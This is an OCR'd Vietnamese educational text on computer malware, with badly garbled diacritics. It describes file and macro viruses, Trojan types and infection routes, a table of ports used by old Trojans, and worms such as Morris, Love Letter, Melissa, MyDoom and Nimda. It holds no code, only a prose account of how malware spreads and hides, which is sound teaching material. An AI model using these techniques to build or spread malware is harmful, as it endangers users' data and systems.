Phuong phép nay nhiam khéc phuc nhugc diém lam ting kich thudée file
bi 14y nhiém (mot so hd ma tir 6 virus dé bi phat hién) cua hai phuong phap
trén. Theo phuong phap nay virus s& tim nhitng ving tréng trong file rdi ghi dé
M4 cua no vao diy.

Uu diém: gay kho khan trong viéc phat hién va diét virus.

Nhuoc diém: kho khin trong viée viét ma virus va kha ning 13y lan hep

vi rat it file c6 du ving tréng cho virus ghi dé.

1.3.2. Phan loai F-Virus
TF Virus (Transient File Virus) :

Virus loai nay khong thuong tri, khong chiém cac ngat, khi file b 1ay
nhiém duoc thi hanh no s& chiém quyén diéu khién va tranh tha tim cach lay

lan sang cac file khac cang nhiéu cang tot.

RF Virus (Residen File Virus) :
Virus loai ndy thuong trii bang nhiéu k§ thuat khac nhau, chin cic ngit
ma trong tAm ngat 1a 21h, khi ngat nay duoc thi hanh tng véi cac chirc ning

nhit dinh vé file thi no s& tién hanh lay lan.

1.3.3. Cau triic chwong trinh F-Virus
1/. TE-Virus :

Bao gdm bdn phan: 1ay lan, gay nhiéu, pha hoai va dir liéu.

Phan 1ay lan: 13 phan chinh cta virus, c6 tac dung lay lan bang cach tir
sao chép minh gan vao cac file khdc ma né tim thay khi c6 quyén diéu khién.
Do loai nay khong thuong tri nén nd tim cach 1ay lan cang nhiéu file cang tot

khi ndm quyén diéu khién.

Phan gay nhiéu: 1 cong viéc 1am cho ma virus tré nén phirc tap khé hiéu

tao nhiéu khoé khan cho nhitng nha chong virus trong viéc tim, diét virus va

phuc hoi dir ligu.
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Phan pha hoai: trong tu nhu B — Virus

Phan dir liéu: dé cat giir nhitng thong tin trung gian, nhimng bién ndi tai
dung riéng cho virus va cac dir liéu cua file bi l1ay, cac dir liéu nay sé dugc khoi

phuc cho file trudce khi trao lai quyén didu khién cho file.

2/. RF-Virus :
Vi thuong trt va chan ngat nhu B-Virus cho nén loai nay ciing bao gdm

hai phan chinh: phan khéi tao va phén than.

Phan khoi tao: dau tién virus tién hanh thudng tra bang cach tu chép minh
vao bo nhé hodc ding cac chirc ning thuong tra cia DOS. Sau d6 dé dam bao
tinh “pop up” ctia minh n6 s& luén chiém ngat 21h. Ngoai ra, dé phuc vu cho
viéc pha hoai, gdy nhiéu, virus con cé thé chiém cac ngat 8,9,13h ...Sau khi da
khoi tao xong, nd sé tra lai dit liéu cii va quyén diéu khién cho file bi lay
nhiém.

Phan than: phan ndy c6 cau tric tvong tu nhu TF-Virus, ciing ¢6 bon
phan: 1ay lan, gay nhiéu, pha hoai va phan dir li¢u. Nhung vi loai virus nay
thudng tri nén phan lay lan sé thuc hién trén nhiing file yéu cau duogc sir dung
ngat 21h (da bi virus chiém). Phan gdy nhiu nguy trang ciing phic tap tinh vi

hon TF-Virus vi n6 ¢6 thé giam sat hé thong khi thuong tra.
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1.4. VIRUS MACRO
1.4.1. Dinh nghia

V& béan chét virus macro 1a mot hodc mot s6 macro (duoc viét bé“mg ngoén
ngt WordBasic, ExcelBasic, Visual Baisic...) c6 kha ning kich hoat va tién
hanh lay lan khi nguoi ding xtr 1y file c6 ton tai chung. Ddi twong 1ay nhiém
dAu tién ctia cac virus marco 13 nhimg file template ngdm dinh duoc nap dau
tién mdi khi Word hodc Excel khoi dong (d6i véi Word 14 file
NORMAL.DOT) va tir ddy chung tiép tuc lay lan sang nhiing file khac trong

nhiing 1an lam viéc vé sau.

Théng thuong, cac virus marco dugc thi hanh khi nguoi dung cha y chay
chung. Mat khac cac virus marco c6 thé thi hanh mét cach tu dong duoc khi
cac virus marco ¢ tén trung véi tén cac marco ty dong hodc trung tén vdi cac
lénh chuan ciia Word hoic Excel. Pay chinh 1a phuong phap céc virus marco
tu dong duoc kich hoat va lay lan trong nhirng diéu kién nhat dinh.

Mot s6 vi du trong Word vé nhiing 1énh chuan nhu: FileClose, FileOpen,
FileSave, FileSaveAs....va ndm marco. Cac marco nay s¢€ ty dong thi hanh khi

cong viéc tuong ing duoc thuc hién.

Tén Tw dong thi hanh 1énh
AutoClose Dong file soan thao
AutoStart Khoi dong Word
AutoEXxit Két thiic Word
AutoNew Tao file van ban mai
AutoOpen M¢ file van ban

Nhu vay, dé c6 thé 1y lan, virus marco ludn phai cé it nhat mot marco thi
hanh ty dong dugc. Trong marco ndy s& c6 mot doan ma dé tién hanh lay lan
bang cach tr sao chép toan bo ma virus sang cac file khac. Ngoai ra, virus
marco c6 thé c6 thém cac phan ph4 hoai, gdy nhiém va nguy trang....
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1.4.2. Virus Macro W97M/Antivi.a

1.4.2.1. Nhirng dac trung cua virus

Virus macro lay nhiém nhiing file vin ban ctia MicrosoftWord97. Virus
c6 thé loai bd macrotrong file ctia nguoi ding khi né thuc hién truyén nhiém.
Virus chtra thong bao duoc viét bang tiéng Bd Dao Nha. Virus s& stra doi
nhitng ty chon cia nguoi dung va nhimg canh bao bang tiéng B6 Pao Nha
bén trong cac macro MicrosoftWord97. Virus s& méc ndi nhitng mennu tiy

chon dé chay ma cua no.

Virus nay ton tai trong mot macro co tén “ Hunter ““ (nguoi di san). Khi
nhiing tai liéu dugc md ra va néu tai liéu chira dung macro cua nguoi dung thi
virus nay dé nghi loai bé ching bang mdt thong bao st dung tieéng Bo Pao

Nha :
Hunter
“Voce Posui 0 macro [Macro name] em seu arquivo”
“Macros dese tipo conter virus...”
“Deseja remover o Macro. E aconselhavel...”
[YES] [NO]

Néu ngudi dung chon YES thi Macro cta ngudi dung s& bi loai bo. Néu

nguoi ding chon NO thi virus s& dua ra mot yéu cau:
Hunter
“Tem Certeza???”
“Alguns Virus podem danificar este computador!!!”

“Clique ‘Sim’ para remover o [Macro name] e ‘Nao’ para manter o

Macro”
Néu nguoi ding chon YES thi Macro cta nguoi ding s& bi loai bo. Néu
nguoi dung chon NO thi s€ khong c¢6 hoat dong gi xay ra.

Ngoai ra Virus ndy con chtra dung chirc nang vo hiéu héa td hop phim
“ALT+F8” va “ALT+F11”.
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1.4.2.2. Déau hiéu may tinh khi bi nhiém virus
Dau tién Virus c¢b ging két ndi voi trinh soan thao Visual Basic Editor va

hién thi hop thong bao:
“Hunter”

“E preciso remover a protecao ANTIVIRUS oftecida pelo ‘Hunter’

antesde utilizar este
servico. ¢

Sau d6 virus s& coppy chinh n6 t6i File “X.BAS” tai dudng dan “C:\”. Sy
ton tai cua file ndy xac nhan da cé sy 1ay nhiém cua virus tai mot thoi diém
nao do.

1.4.2.3. Phwong phap ciia su truyén nhiém

Virus moc ndi véi su kién mé file ciia MicrosoftWord97, bat ky file nao

dugc mo ra bo1 MicrosoftWords97 sé bi lay nhiém Virus.
Céc tén goi khac
Virus macro nay c6 céc tén goi khac nhu la:
Macro Word97.Hunter
W97M_Hunter

WMQ97/Antiv-A
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1.5. TROJAN
1.5.1. Pinh nghia Trojan

Nhiéu nguoi nghi rang khi ho c6 mot chuwong trinh quét virus ot va c6
ban cap nhat mai nhét thi ho s& an toan, may ho s& khong bi nhiém. Trojan hay
khong ai c¢6 thé truy cip mdy tinh ctia minh, diéu nay hoan toan sai. Muc dich
ctia ngudi viét chuong trinh chdng virus 13 phat hién ra con virus méi, khong
phai 1a Trojan. Nhung khi Trojan 1dy nhiém dén nhiéu ngudi sir dung thi nhimg
chuyén vién chéng virus s& nap thém né vao trong chuong trinh quét cia minh.
Tuy nhién day chi 1a mot phan rat nho cac Trojan ma cac chuyén vién phong

chéng virus phat hién duoc va dua vao trong danh sach nhiing virus can diét.

Hon nita, cdc chuong trinh quét virus nay khong phai la tuong Itra, né s&
khong phat hién ra trojan va bao vé ta trong khi ta dang trén mang. Nhiéu
ngudi dung khong biét Trojan 13 gi va ho tai xudng nhitng file ma khong biét rd

nguon goc.

1.5.2. Phwong phap lay nhiém Trojan
Theo s6 liéu thong ké cua trung tam BKIS 90% s6 nguoi duge hoi ¢6 tai
Xuéng, hay sao chép file tir dau d6 khong thi tra 161 1a khong, nhung thuc su ho

da thuc hién trude do6 vai ngay.
Trojan c6 thé bi 1y nhiém tir rat nhiéu con duong khac nhau:
- Trojan lay nhiém tir ICQ
- Trojan lay nhiém tur file dinh kém trong mail

- Trojan truy nhap tryuc tiép

26



1/. Trojan ldy nhiém tiv ICQ:
Nhiéu nguoi nghi ring Trojan khong thé 14y lan trong khi ho dang néi
chuyén trén ICQ nhung ho khong nghi 1a ngudi dang néi chuyén c6 thé giri cho

ho mot con Trojan.

ICQ cho phép gui mot file .exe nhung n6 da dugc stra sao cho nhin nhu
co ve¢ file do 1a file hinh 4nh, &m thanh...Vi dy, c6 mot con Trojan dugc kep
chung véi file hinh anh va nguoi giri da thay doi biéu tugng cua file .exe thanh
biéu tugng cia file .bmp, ngudi nhan s& chay con Trojan d6 va khong hé nghi
ngo, vi khi chay file .exe d6, no van hién 1én hinh anh nhu mot file anh. Két
qué 14 trén may ngudi nhan di c6 mot con Trojan. D6 13 1y do hau hét nguoi

ding noi rang ho khong chay bat ky file la nao trog khi ho di chay né.
Mot cach ngin ngira tot nhat 13 luon Kiém tra kiéu file truéc khi chay.

2. Trojan ldy nhiém tir file dinh kém trong mail:

Pa s6 Trojan duoc lay lan bang mail. Cac hacker hay chii nhan ctia con
Trojan thuong dinh kém file Trojan vao trong mot birc thu dién tur va gui di.
Khi nguot dung kich hoat vao file dinh kém hay ca khi xem thu thi con Trojan
da c6 thé duoc kich hoat xam nhap h¢ théng va thuc hién cac chirc nang do.

3/. Trojan truy nhdp truc tiép:

Mot may tinh ngay ca khi duoc trang bi t6t nhat véi nhitng bién phap bao

vé, voi chuong trinh chdng virus t6t nhat thi cling khong thé lam gi duoc trudc

su truy cap truc tiép ctia nguoi ¢b tinh dua Trojan vao trong mdy tinh.
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1.5.3. Sw nguy hiém cia Trojan
Da s6 moi ngudi cho rang Trojan khong c6 gi nguy hiém, vi mdy tinh cta
ho van lam viéc binh thudng va tit ca dit liéu van con, néu d6 13 mot con virus

thi dit liéu da c6 c6 thé mat sach hay hoat dong khong binh thudng .

Khi méy tinh bi nhiém Trojan, tat ca dit liéu trén may tinh co thé bi nguy
hiém, thudng thi cht nhan ctia Trojan nay khong xoa tat ca file, ma ho sé sao
chép vé khai thac nhu tai liéu bi mat cua cong ty, tai khoan Internet, tai khoan
c& nhan va khi khéng c6 gi khac c6 thé thuc hién x6a dit liéu. Poi khi hacker
con dung Trojan dé cai dit virus phé hoai nhu CIH ching han. D6 1a mét vai vi

du hacker c6 thé thuc hién khi ho di cai thanh cong Trojan.

1.5.4. Phan loai Trojan

Co nhiéu Trojan, nhung chu yéu n6 dugce chia ra lam cac dang sau:

1. Trojan diing dé truy cdp tiv xa
Hién nay, Trojan nay duoc sir dung rat nhidu. Chirc nang chinh ctia
Trojan nay 1a mé mot cong trén may tinh nan nhan dé hacker c6 thé quay lai

truy cap vao may nan nhan.

Trojan nay rat dé sir dung. Chi can nan nhan bi nhiém Trojan va chi nhan
cua nd c6 dia chi IP ctiia nan nhan thi hg cé thé truy cép toan quyén trén may
nan nhan.

Tuy loai Trojan ma chirc nang cia nd khac nhau (key logger, download,

upload file, thuc hién I¢nh..).
Mot s6 con Trojan ndi tiéng loai nay nhu: netbus, back orifice. ..

2/. Méc néi ban phim (keylogger) -
N6 ghi lai tit ca hanh dong trén ban phim rdi luru vao trong mot file,
hacker s& tim dén may tinh d6 va l4y di file chira toan bo thong tin vé nhiing gi

nguoi st dung da go vao ban phim.

Vi du: kuang keylogger, hooker, kuang?2...
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31. Trojan giti mét khau:
Doc tit ca mat khau luu trong cache va thong tin vé may tinh nan nhén roi

giri vé dén hacker.
Vi du: barok, kuang, bario...

4/. Trojan pha huy -

Nhiing con Trojan niy chi c6 mot nhiém vu duy nhat 1a tiéu diét tat ca cac
file trén may tinh.

Vidu: CIH

Nhiing con Trojan ndy rat nguy hiém vi khi méy tinh bi nhidém chi mot
1an thoi thi tat c4 dit li¢u mat hét.

5/. FTP Trojan:
Loai Trojan ndy s& mé cong 21 trén may tinh va dé cho tat ca moi nguoi
két n6i dén may tinh d6 ma khong can c6 mat khau va ho s& toan quyén tai bat

ky dir liéu nao xudng.

1.5.5. Muc dich ctia Trojan
Nhiéu nguoi nghi rang hacker dung Trojan chi dé pha hoai may cia ho,
diéu d6 hoan toan sai 1am. Trojan 13 mot cong cu rat hiru hiéu gitup nguoi sir

dung n6 tim duoc rat nhidu thong tin trén may tinh ctia nan nhan.
- Théng tin vé Credit Card, thong tin vé khach hang.
- Tim kiém thong tin vé account va dir liéu bi mat.
- Danh sach dia chi email, dia chi nha riéng.

- Account Passwords hay tat ca nhitng thong tin co vé cong ty.
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1.5.6. Phuwong thirc hoat dong cua Trojan

Khi nan nhan chay file Trojan, néu 1 Trojan dang truy cp tir xa (remote
access), file server trong Trojan s& ludn & ché do lang nghe. N6 s& chd dén khi
nhan duoc tin hiéu cua Client, ngay 14p tirc no s& md ngay mot cong nao do dé
hacker c6 thé truy cap vao. N6 c6 thé st dung giao thirc TCP hoic giao thirc
UDP.

Khi hacker két noi vao dia chi IP cua nan nhan, ho c¢6 thé lam bat cir diéu

gi vi ndi dung Trojan di bao ham nhiing diéu khién do.

Con néu Trojan loai Keylogger hay loai giri mat khau thi né tién hanh
viéc ghi lai tit ca nhimg gi duoc gd trén ban phim. Tat ca duoc luu trit trong
mot file theo mot dudng dan nhat dinh. Tai mot thoi diém ndo d6 chi nhan cua
con Trojan d6 s& xAm nhdp vao may tinh d6 thong qua cong sau ma con Trojan
da mo va lay di file d6. Ddi v6i nhitng con Trojan c¢6 phuong thire gui file

trong ban than né thi né tién hanh gui file dén dia chi email x4c dinh trudc.

Dbi voi Trojan loai pha hity thi hoat dong ctia né 1a nap khi Windows

khoi dong va tién hanh cong viéc x6a file cua no.

Mot vai Trojan dugc nap ngay khi Windows duoc khoi dong bang cach

sua file win,.ini, system.ini hay stra registry.
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1.5.7. Cong ciia mét s6 Trojan thong dung

Tén goi Cong Tén goi Cong
Satanz Backdoor 666 Silencer 10001
Shockrave 1981 Shivka-Burka 1600
WebEXx 1001 SpySender 1807
Doly Trojan 1011 Psyber Sream Server 1170
Ultors Trojan 1234 VooDoo Doll 1245
FTP 99CMP 1492 BackDoor 1999
Trojan Cow 2001 Ripper 2023
Bugs 2115 Deep Throat 2140
The Invasor 2140 Phineas Phucker 2801
Masters Paradise 30129 Portal of Doom 3700
WinCrash 4092 ICQ Trojan 4590
Sockers de Troie 5000 Sockets de Troie 1.x 5001
Firehotcker 5321 Blade Runner 5400
Blade Runner 2.x 5402 Robo-Hack 5569
Blade Runner 1.x 5401 DeepThroat 6670
DeepThroat 6771 GateCrasher 6969
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1.6. INTERNET WORM
1.6.1. Gidi thiéu chung

Sau Internet ~-Worm 1a loai virus c6 strc 1ay lan rong, nhanh va phd bién
nhét hién nay. Worm két hop ca suc phé hoai cua virus, ddc tinh am tham cua
Trojan va hon hét 1a si 1ay lan dang so ma ngudi viét virus trang bi cho n6 dé
tr¢ thanh mot ké phé hoai véi vii khi tbi tan. Tiéu biéu nhu Mellisa hay Love
Letter. Vi sy lay lan déng so chung dé lam té 1iét hang loat hé théng may chu,

1am 4ch tic dudng truyén Internet.

Thoi diém ban dau, Worm duoc dung dé chi nhiing virus phat tin bang
cach tim cac dia chi trong so6 dia chi (Address book) cia may ma né 1y nhiém

va tu gui chinh n6 qua email té1 nhitng dia chi tim duoc.

Nhiing dia chi ma virus tim thdy thuong 14 dia chi ciia ban bé, ngudi than,
khach hang... ctia ch so hitu may bi nhiém. Diéu nguy hiém 13 virus c6 thé gia
mao dia chi nguoi guri 1a dia chi cia chu s¢ hitu may hay dia chi ctia mot ca
nhan bat ky nao do; hon nita cac email ma virus giri di thuong c6 noi dung
“giat gan” hodc “hap din” dé du dd ngudi nhan mé file virus dinh kém. Mot sd
virus con trich dan ndi dung ctia mot email trong hop thu ctia nan nhan dé tao
ra phan ndi dung ctia email gia mao. Diéu ndy giup cho email gia mao c6 vé
“that” hon va nguoi nhan dé bi mac Iira. Nhitng viéc nay dién ra ma ta khong
hé hay biét. Vi cach hoan toan tuong ty trén nhitng may nan nhan khac,
Worm c6 thé nhanh chéng 13y lan trén toan cau theo cép s nhan. Diéu dé ly
gidi tai sao chi trong vong vai tiéng dong ho ma Mellisa va Love Letter lai ¢6
thé lay lan toi hang chuyc triéu may tinh. Cai tén ctia n6, Worm hay "Sau
Internet" cho ta hinh dung ra viéc nhiing con virus may tinh “bo” tir may tinh

nay qua may tinh khac trén céc "canh cay" Internet.

Véi su 1ay lan nhanh va rong 16n nhu vay, Worm thuong duoc ngudi viét
ra cai thém nhiéu tinh ning dic biét, chang han nhu kha ning dinh cing mot
ngay gio va dong loat tir cic may nan nhan (hang triéu may) tin cong vao mot
dia chi ndo d6. Ngoai ra, chiing con c6 thé mang theo cac BackDoor tha 1én
may nan nhan, cho phép chu nhan cta ching truy nhap vao may ctia nan nhan
va lam dt moi thir nhu ngdi trén may d6 mot cach bat hop phap.
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Ngay nay, khai niém Worm d duoc mé rong dé bao gdm ca céc virus lay
lan qua mang chia sé ngang hang peer to peer, cac virus lay lan qua 6 dia USB
hay cac dich vu guri tin nhin tirc thoi (chat), dic biét 13 cc virus khai thac cac

16 hong phan mém dé lay lan.

Céc phan mém (nhét 13 hé diéu hanh va céac dich vu trén d6) ludn tiém an
nhing 16i/16 hong an ninh nhu 18i tran bo dém, ma khong phai lic nao ciing c¢6
thé d& dang phat hién ra. Khi mot 16 hong phan mém duoc phat hién, khong 1au
sau d6 s& xuat hién cac virus c6 kha ning khai thac cac 16 héng nay dé lay
nhiém 1én cac may tinh tir xa mot cach Am tham ma nguoi cha may hoan toan
khong hay biét. Tir cac may nay, Worm sé tiép tuc “bd” qua cac may tinh khac

trén mang Internet vdi cach thirc tuong tu.

Ta c6 thé thay dugc sy nguy hi€m cua sau Internet qua viéc tim hiéu sau

MyDoom.
Ngay xuit hién sau MyDoom dau tién: 26/01/2004
Ngay lan tran dén Viét Nam: 27/01/2004

Cudc tin cong ctia MyDoom 1én dinh diém vao ngay 31/01/2004 khi c6
hang triéu email nhiém MyDoom cting dng loat giri ti Website ctia Yahoo

lam nghén mach.

Buc tuong Itra va bg loc (Filewall va Filter) ngay 1ap tic dugc dung Ién
dé ngan chan va loai bd tat ca cac email co tiéu dé: Test, Hi, Hello, Mail
Delivery System, Mail Transaction Failed, Server Report, Status Error du day
cling 1a tiéu dé Yahoo hay st dung.

Du d4 thiét 1ap hé thong bao vé kip thoi, trang web Yahoo tir 8h17 dén
12h10 trong ngay 31/01/2004 ciing bi tan cong bang 1énh DoS (Denial of
Service) va khi gd dong 1énh “http://www.mail.yahoo.com/” thi dudng dan
duoc thay thé bang “http://www.search.com/”. Moi hoat dong trén Website nay

gan nhu té liét.
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Bién thé sau méi duoc goi la MyDoom.B (con c6 tén 1a Norvarg. A,
Mimailk...) c6 kha ning chdng truy cap vao cac trang web cung cAp phan mém

chong virus.

Trong chuong trinh viét ban dau ciia MyDoom chi tao 1an song mail rac
va tap trung chuan bi cho dot pha hoai tong luc tir ngay 01- 12/02/2004 vao
website ciia SCO Group Inc. Vi bién thé méi MyDoom.B da dugc bd sung

thém cau Iénh tan cong thém website Microsoft.

Sau MyDoom duge viét ¢6 cha dinh 13 khong tin cong vao cac dia chi
email cua cac co quan chinh pha, mat sb truong dai hoc, va mot sb hang bao v¢
may tinh, ké ca Symantec.

Céc may tinh chay hé diéu hanh Windows XP ciia Microsoft c6 nguy co
bi lay nhiéu nhat.

Theo céac chuyén gia cong nghé, thiét hai tai chinh do siu MyDoom —ké
ca vi¢c dinh chi mang Internet va thiét hai dugc tinh bé“mg con s6 hang ty do .

Phan mém diét MyDoom dugc cip nhat dau tién vao ngay 28/01/2004
(cua hang Symantic)

160.000 email nhiém virus duge giri dén cho mot cong ty chi trong 60
phut tai USA.

M@ nhiéu cong nhat: 71 cong , tir cong 3127 dén cong 3198. Symantec di
thong ké duogc co téi 2.100 hé théng khac nhau trén mang dang quét cac cira
sau do MyDoom tao ra.

50.000 hé thong may tinh bi nhiém virus va bi khéng ché tir xa, nguy co
cho dot tn cong tong luc.

300 triéu thu mang virus duge phat tan, chiém 1/12 tong luong email luu

chuyén trén Internet trong hai ngay 500.000 may tinh bi nhiém MyDoom chi
sau 3 ngay (ké tir khi phat hién sau).

142 qubc gia trén thé gidi bi nhiém.
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1.6.2. Cac giai doan phat trién ciia sAu Internet
Thong qua sy phan tich cta nhitng con sau Internet dién hinh trong cac
giai doan phat trién cta sau Internet, ta c6 thé thdy nguyén tic xay dung sau

Internet, toc do phat trién cta loai virus nay va mirc d§ nguy hi€ém cua no.

1.6.2.1. S&du Morris
Sau Morris 1a sau méy tinh du tién duoc phat tan qua Internet va ciing la
con sau dau tién thu hut duoc su chu ¥ dang ké cua cac phuong tién thong tin

dai chiing.

Tac gia cuia n6 1a Robert Tappan Morris, mot sinh vién tai Pai hoc
Cornell. Sau Morris dugc tha 1én mang vao ngay 2 thang 11 nam 1988 tir hoc
vién MIT, n6 dugc phat tan tor MIT dé che dau thuc té 1a con sau da duoc bat

ngudn tir Cornell. (Robert Tappan Morris hién 1a gido su tai MIT.)

Sai 1am nghiém trong d3 bién con sau tir chd chi 13 mot thi nghiém tri
thire c6 tiém nang vo hai thanh mét sau tan cong tu chdi dich vu dﬁy pha hoai
13 & tai co ché lay lan. Con sau xac dinh xem c6 xam nhap mot may tinh méi
hay khong bang cach hoi xem hién da c6 mot ban sao niao dang chay hay chua.
Nhung néu chi lam diéu nay thi viéc x6a bo no lai qua dé dang, bt cir ai cling
chi phai chay mét tién trinh tra 10i rang "c6" khi duoc hoi xem da c6 ban sao
nao chua, va con sau s& tranh. D¢ tranh chuyén nay, Morris thiét ké dé con sau
tu nhan d6i véi xac sudt 40%, bat ké két qua cua viéc kiém tra lay nhiém la gi.
Thuc té cho thay ty 1¢ nhan d6i nay 1a qua cao va con sau lay lan nhanh chéng,

lam nhiém mot s6 may tinh nhicu lan.

Nguoi ta thong ké rang c6 khoang 6.000 may tinh chay Unix d3 bi nhiém
sau Morris. Paul Graham d noi rang "T6i da chimg kién nguoi ta xao xdo ra
con s ndy, cong thirc ndu dn nhu sau: ai d6 doan rang c6 khoang 60.000 may
tinh néi v4i Internet, va con sau c6 thé di nhiém 10% trong s d6". My d uéc

tinh thiét hai vao khoang ttr 10 dén 100 triéu do la.
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Robert Morris da bi xtr va budc td1 vi pham Diéu luat nam 1986 vé lam
dung va gian 1an may tinh (Computer Fraud and Abuse Act). Sau khi chéng 4n,
anh ta bi phat 3 nim 4n treo, 400 gid lao dong cong ich va khoan tién phat

10.050 d6 la M.

Sau Morris d6i khi duoc goi 1a "Great Worm" (Sau khong 10) do hau qua
ning né ma nd di giy ra trén Internet khi do, ca vé tong thoi gian hé théng
khong str dung dugc, 1dn vé dnh hudng tim 1y ddi voi nhan thirc vé an ninh va

do tin cay cua Internet.

1.6.2.2. Sau Kakworm

Kakworm (KAV) 1a mot con sau. N6 dugc xay dung vai muc dich xam
nhap vao chd dé bi ton thuong cta su bao vé trinh duyét Internet Explorer hay
chuong trinh Outlook Express. Ban nang cap sira chita cho tinh dé bi tén
thwong nay da duoc Microsoft dua ra va can thiét phai nang cap lai ngay (theo
théng cao an toan MicrosoftMS99-032). Nhitng trinh duyét Microsoft va thu

tin di¢n tir chua bi 4nh huodng.

KAV dugc gan vao trong chit ky HTML t6i tin nhian. Nguoi dung khong
nhin thdy né béi vi khéng c6 dang vin ban nao c¢6 thé hién thi n6 ra man hinh

(KAV duoc viét bang JavaScript).

Nguoi ding khong can kich hoat vao bat ky file dinh kém nao hoic thuc
hién bat ky hoat dong nao dé kich hoat KAV. Chi can nguoi dung xem thu 1a
con sau KAV di c6 thé xam nhap vao hé thong.

Puoc kich hoat mot lﬁn, KAV luu file KAK.HTA vao trong thu myc khoi
dong cua Windows. Lan sau khi may tinh dugc khoi dong, KAK.HTA chay va
tao ra KAK.HTA trong thu muc Windows.

Trong thang nao ciing ¢ mot 1an sau nam gid chiéu con sdu KAK sé& hién
thi thong bao “Kagou - Anti - Krosoft n6i khong phai 13 hém nay” va sau do6 tit
may tinh.

KAK dugc xay dung dua vao Bubbleboy, con sau déu tién c6 thé lan

truyén ma khong can nguoi ding phai mé file dinh kém.
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1.6.2.3. Sau Love Letter

Trong dang nguyén ban cia con sau gui chinh n6 cho nhitng nguoi dung
qua mdt file dinh kém theo thu tin dién tir. Chu d@ tin nhan 1a “ | LOVE YOU ”
va n0i dung tin nhén 1a “Mot cach chan thuc kiém tra btrc thu tinh yéu dinh
kém duogc giri dén tir t6i”. File dinh kém duoc goi LOVE -LETTER-FOR-
YOU.TXT.vbs (mé rong kép .txt.vbs). Khi kich hoat vao file dinh kém dé chay
(gia thiét ring may tinh d6 da cai Windows Scripting Host) va chu trinh lay

nhiém lai bat dau lan nira.

Su nhan d6i 13 can thiét cho con sdu nay gidng nhu khi n6 ¢b ging khai
thac su dé dang ctia ham sir dung. Nhiing chuong trinh thu tin va thu muc theo
su mic dinh khong cho thay nhiing phan mé rong cua file. Trong trudng hop
nay néu may tinh d6 cé tap hop tiy chon mic dinh thi file dinh kém 16 ra giéng
nhu goi LOVE -LETTER-FOR-YOU.TXT va nhu vay la mot file van ban thay
vi mot file c¢6 thé thuc hién.

Trong thao téac, con sau thuc hién vai hoat dong:

N6 kiém tra file WinFAT.32.exe trong thu myc tai xudng tir Interner
Explorer. Néu khong tim thay con siu thay doi trang khoi dong Internet

Explorer dang ky t6i mot trong mot sé website noi file WIN-BUGSFIX.exe s&
duoc tai xudng va tap hop dé chay trén may tinh cho 1an tiép theo.

Con sau s& sao chép chinh n6 vao hai chd noi né sé thi hanh khéi dong lai
trén mdi may tinh khéc.

N6 s€ co gang gui chinh nd cho moi dia chi trong danh sach dia chi

Outlook .

Con sau tim kiém tat ca nhiing file co phén mo rong 1a VBS, VBE, JS,
JSE, CSS, .WSH, SCT hoic HTA. Néu tim thdy, chung s& ghi d¢ 1én vdi virus
va phan mé rong ctia né ddi tén thanh .VBS.

File d6 hoa véi phan mé rong 1a JPG hoic JPEG ciing duoc ghi dé 16n véi

virus va phan mo¢ rong .VBS s€ dugc thém vao tén cua nd.
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Nhirng file da phuong tién v6i phdn mé rong 1a MP2 va MP3 thi duoc
sao chép t6i mot file moi cing tén d6 va phan mo rong .VBS ciing dugc thém

Vao.

Con sau tim kiém mét chwong trinh client MIRC va néu tim thdy, s& tha

mot ban sao va file HTML duoc thiét ké dé guri con sau qua MIRC .

Nhirng file virus nguyén ban c6 sy anh hudng rat nhiéu, nhiéu bién thé
phat trién nhanh chéng va trai rong ra. Hon 20 bién thé da dugc bao cao va
trong thoi gian d6 s luong bién thé thyc té nhiéu hon sé luong bién thé da

duoc bao cdo. Mot vai an tuong nhét ¢6 thé noi dén:
Chu dé fwd: khong c6 ndi dung nao, file dinh kém: very funy.vbs.

Chu dé Ngay nhitng ngudi me: ¢6 ndi dung “Ching ta c6 thé hoat dong
dé rat tir thé giri ctia ban khoang 326.92 USD cho ngay 18 dic biét nhitng nguoi
me. Chiing t6i da gan mot danh sach don hang chi tiét t6i dia chi email nay.
Xin 1n ra file dinh kem va gilr né trong mot chd an toan. C4m on mot lan nita
va mong c6 mdt ngay nhiing ngudi me hanh phuc:

mothersday@subdimension.com”, file dinh kem: mothersday.vbs.

Chu dé: virus ALERT !!!, guri tir: support@symatec.com, ndi dung:
“khach hang Symantec than mén, trung tAm nghién ctru AV ciia Symantec bt
dau nhan nhitng bio co lién quan t6i VBS.LoveLetter. Mot virus vao mdt budi
sang sém ngay 4/5/2000 GMT. Con sau ndy xuat hién bit ngudn tir ving Thai
Binh Duong Asia. Sy phin phéi ctia virus ndy lan rong va hang trim trong
hang nghin nhitng cd mdy dudc bo cdo da bi 1ay nhiém”, file dinh kém:

protect.vbs.

Chu dé: Lam sao dé bao vé chinh ta khoi con rép ILOVE !, noi dung: “tir
day thi ta s€ c6 cach loai tru virus tinh yéu”, file dinh kem: Virus-Protection-

Intruction.vbs.
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1.6.2.4. Sau Melissa
Melissa 1a mot sy két hop giita virus marco va con siu email. Con siu
dau tién dugc tim thiy vao thtr sau, ngay 26 thang 3 nim 1999 va su dan trai ra

duogc thue hién rat nhanh chong xung quanh thé gi6i .

V& co ban, khi mot nguoi ding kich vao file .DOC dinh kém theo thur
dién tir chung s& chay ca virus marco. Mot trong nhiing viéc dau tién ma virus
s& 1am 1a dinh dang va giri mot thong bao téi 50 dia chi dau tién trong danh
sach dia chi Outlook. Chu dé liéu 1 “Tin nhén quan trong tu <Username cua
ban >”.Va ndi dung tin nhin: “¢ ddy 1a tai liéu ma ban héi vé ....(khong cho bat
ctr ai khéc thay)”.

Gan lién t6i thong bao nay 12 tai liéu hién thoi dang lam viéc. Tur khi
Mellissa 14 virus va lay nhiém file NORMAL.DOC né c6 thé giri file 1y nhiém

ra ngoai gidng nhu 1a cai gi d6 hét sirc quan trong tir may tinh nhan dugc.

Vao truong hop hiém c6 noi phut, gio, ngdy va thang 1a giong nhau (8
gio 8 phit ngdy 8 thang 8) virus s& chén ménh d& “Hai muoi hai, thém vao bo
ba tir ghi diém, cong v&i ndm muoi diém cho viée st dung tat ca nhitng buc thu
ctia toi. Tro choi két thiic”,

Phén phéi ban dau cta virus Melisa 1 vao mét file goi 1a LIST.DOC cai
ma chtra dung nhitng mat khau ca nhitng website X-rated, nhitng website

khong lanh manh.
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1.6.2.5. SGu Nimda

Nimda 13 mét trong sb nhing con sau phirc tap dugc xay dung theo sur
thué muén. N6 1ay nhiém file, thuc hién dan trai qua duong Website, duong
thu tin dién tir, va sy dan trai qua khai thac ving mang cuc bo. N6 lay nhiém tat
ca cac phién ban cia Windows tir Windows95 dén Windows2000 ciing nhu 1S

cua Microsoft.

